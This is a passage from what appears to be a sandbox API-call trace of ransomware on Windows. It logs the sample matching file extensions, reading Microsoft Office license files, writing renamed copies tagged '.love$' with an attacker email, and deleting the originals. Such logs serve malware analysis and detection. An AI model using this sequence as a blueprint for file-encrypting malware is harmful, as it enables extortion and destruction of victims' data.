lpString2="rm-ms") returned -1 [0265.902] lstrlenW (lpString=".pdf") returned 4 [0265.902] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.902] lstrlenW (lpString=".xls") returned 4 [0265.902] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.902] lstrlenW (lpString=".xlsx") returned 5 [0265.902] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.902] lstrlenW (lpString=".ppt") returned 4 [0265.902] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0265.903] lstrlenW (lpString=".zip") returned 4 [0265.903] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.903] lstrlenW (lpString=".rar") returned 4 [0265.903] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.903] lstrlenW (lpString=".bz2") returned 4 [0265.903] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.903] lstrlenW (lpString=".7z") returned 3 [0265.903] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0265.903] lstrlenW (lpString=".dbf") returned 4 [0265.903] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0265.903] lstrlenW (lpString=".1cd") returned 4 [0265.903] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0265.903] lstrlenW (lpString=".jpg") returned 4 [0265.903] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0265.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0265.903] lstrlenW (lpString=".doc") returned 4 [0265.903] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.903] lstrlenW (lpString=".docx") returned 5 [0265.903] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.903] lstrlenW (lpString=".pdf") returned 4 [0265.904] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.904] lstrlenW (lpString=".xls") returned 4 [0265.904] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.904] lstrlenW (lpString=".xlsx") returned 5 [0265.904] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.904] lstrlenW (lpString=".ppt") returned 4 [0265.904] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0265.904] lstrlenW (lpString=".zip") returned 4 [0265.904] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.904] lstrlenW (lpString=".rar") returned 4 [0265.904] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.904] lstrlenW (lpString=".bz2") returned 4 [0265.904] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.904] lstrlenW (lpString=".7z") returned 3 [0265.904] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0265.904] lstrlenW (lpString=".dbf") returned 4 [0265.904] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0265.904] lstrlenW (lpString=".1cd") returned 4 [0265.904] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0265.905] lstrlenW (lpString=".jpg") returned 4 [0265.905] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.905] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.905] lstrlenW (lpString="HomeStudentR_Grace-ul-oob.xrm-ms") returned 32 [0265.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0265.907] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11619) returned 1 [0265.907] CloseHandle (hObject=0x534) returned 1 [0265.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 0x220 [0265.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0265.909] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.909] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0265.911] GetLastError () returned 0x0 [0265.911] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2d63, lpOverlapped=0x0) returned 1 [0265.918] WriteFile (in: hFile=0x488, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2d70, lpOverlapped=0x0) returned 1 [0265.920] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0265.920] WriteFile (in: hFile=0x488, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x114, lpOverlapped=0x0) returned 1 [0265.920] SetEndOfFile (hFile=0x488) returned 1 [0265.921] CloseHandle (hObject=0x488) returned 1 [0265.922] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.922] SetEndOfFile (hFile=0x534) returned 1 [0265.926] CloseHandle (hObject=0x534) returned 1 [0265.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 1 [0265.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0265.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0265.929] lstrlenW (lpString=".doc") returned 4 [0265.929] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.930] lstrlenW (lpString=".docx") returned 5 [0265.930] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.930] lstrlenW (lpString=".pdf") returned 4 [0265.930] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.930] lstrlenW (lpString=".xls") returned 4 [0265.930] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.930] lstrlenW (lpString=".xlsx") returned 5 [0265.930] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.930] lstrlenW (lpString=".ppt") returned 4 [0265.930] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0265.930] lstrlenW (lpString=".zip") returned 4 [0265.930] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.930] lstrlenW (lpString=".rar") returned 4 [0265.930] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.930] lstrlenW (lpString=".bz2") returned 4 [0265.930] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.930] lstrlenW (lpString=".7z") returned 3 [0265.930] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0265.930] lstrlenW (lpString=".dbf") returned 4 [0265.930] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0265.931] lstrlenW (lpString=".1cd") returned 4 [0265.931] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0266.136] lstrlenW (lpString=".jpg") returned 4 [0266.136] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0266.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0266.136] lstrlenW (lpString=".doc") returned 4 [0266.136] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.136] lstrlenW (lpString=".docx") returned 5 [0266.136] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.136] lstrlenW (lpString=".pdf") returned 4 [0266.136] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.137] lstrlenW (lpString=".xls") returned 4 [0266.137] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.137] lstrlenW (lpString=".xlsx") returned 5 [0266.137] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.137] lstrlenW (lpString=".ppt") returned 4 [0266.137] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0266.137] lstrlenW (lpString=".zip") returned 4 [0266.137] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.137] lstrlenW (lpString=".rar") returned 4 [0266.137] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.137] lstrlenW (lpString=".bz2") returned 4 [0266.137] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.137] lstrlenW (lpString=".7z") returned 3 [0266.137] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0266.137] lstrlenW (lpString=".dbf") returned 4 [0266.137] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0266.137] lstrlenW (lpString=".1cd") returned 4 [0266.137] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0266.138] lstrlenW (lpString=".jpg") returned 4 [0266.138] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.138] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0266.138] lstrlenW (lpString="HomeStudentR_Retail-pl.xrm-ms") returned 29 [0266.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0266.294] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=10651) returned 1 [0266.295] CloseHandle (hObject=0x484) returned 1 [0266.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 0x220 [0266.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0266.296] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0266.296] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0266.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0266.300] GetLastError () returned 0x0 [0266.300] ReadFile (in: hFile=0x484, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x299b, lpOverlapped=0x0) returned 1 [0266.362] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x29a0, lpOverlapped=0x0) returned 1 [0266.364] ReadFile (in: hFile=0x484, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0266.364] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x10e, lpOverlapped=0x0) returned 1 [0266.365] SetEndOfFile (hFile=0x4ac) returned 1 [0266.365] CloseHandle (hObject=0x4ac) returned 1 [0266.365] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0266.365] SetEndOfFile (hFile=0x484) returned 1 [0266.370] CloseHandle (hObject=0x484) returned 1 [0266.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 1 [0266.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0266.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0266.373] lstrlenW (lpString=".doc") returned 4 [0266.373] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.373] lstrlenW (lpString=".docx") returned 5 [0266.373] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.373] lstrlenW (lpString=".pdf") returned 4 [0266.373] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.373] lstrlenW (lpString=".xls") returned 4 [0266.373] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.373] lstrlenW (lpString=".xlsx") returned 5 [0266.373] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.373] lstrlenW (lpString=".ppt") returned 4 [0266.373] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0266.373] lstrlenW (lpString=".zip") returned 4 [0266.373] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.373] lstrlenW (lpString=".rar") returned 4 [0266.374] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.374] lstrlenW (lpString=".bz2") returned 4 [0266.374] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.374] lstrlenW (lpString=".7z") returned 3 [0266.374] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0266.374] lstrlenW (lpString=".dbf") returned 4 [0266.374] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0266.374] lstrlenW (lpString=".1cd") returned 4 [0266.374] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0266.374] lstrlenW (lpString=".jpg") returned 4 [0266.374] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0266.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0266.374] lstrlenW (lpString=".doc") returned 4 [0266.374] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.374] lstrlenW (lpString=".docx") returned 5 [0266.374] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.374] lstrlenW (lpString=".pdf") returned 4 [0266.375] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.375] lstrlenW (lpString=".xls") returned 4 [0266.375] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.375] lstrlenW (lpString=".xlsx") returned 5 [0266.375] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.375] lstrlenW (lpString=".ppt") returned 4 [0266.375] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0266.375] lstrlenW (lpString=".zip") returned 4 [0266.375] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.375] lstrlenW (lpString=".rar") returned 4 [0266.375] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.375] lstrlenW (lpString=".bz2") returned 4 [0266.375] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.375] lstrlenW (lpString=".7z") returned 3 [0266.375] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0266.375] lstrlenW (lpString=".dbf") returned 4 [0266.375] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0266.375] lstrlenW (lpString=".1cd") returned 4 [0266.375] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0266.376] lstrlenW (lpString=".jpg") returned 4 [0266.376] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.376] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0266.376] lstrlenW (lpString="HomeStudentR_Retail-ul-phn.xrm-ms") returned 33 [0266.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0266.377] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=19949) returned 1 [0266.378] CloseHandle (hObject=0x484) returned 1 [0266.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 0x220 [0266.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0266.379] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0266.379] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0266.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0266.381] GetLastError () returned 0x0 [0266.381] ReadFile (in: hFile=0x484, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x4ded, lpOverlapped=0x0) returned 1 [0266.495] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x4df0, lpOverlapped=0x0) returned 1 [0266.501] ReadFile (in: hFile=0x484, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0266.501] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x116, lpOverlapped=0x0) returned 1 [0266.502] SetEndOfFile (hFile=0x4ac) returned 1 [0266.502] CloseHandle (hObject=0x4ac) returned 1 [0266.512] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0266.512] SetEndOfFile (hFile=0x484) returned 1 [0266.906] CloseHandle (hObject=0x484) returned 1 [0266.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 1 [0266.909] lstrlenW (lpString="C:\\Program Files\\Microsoft 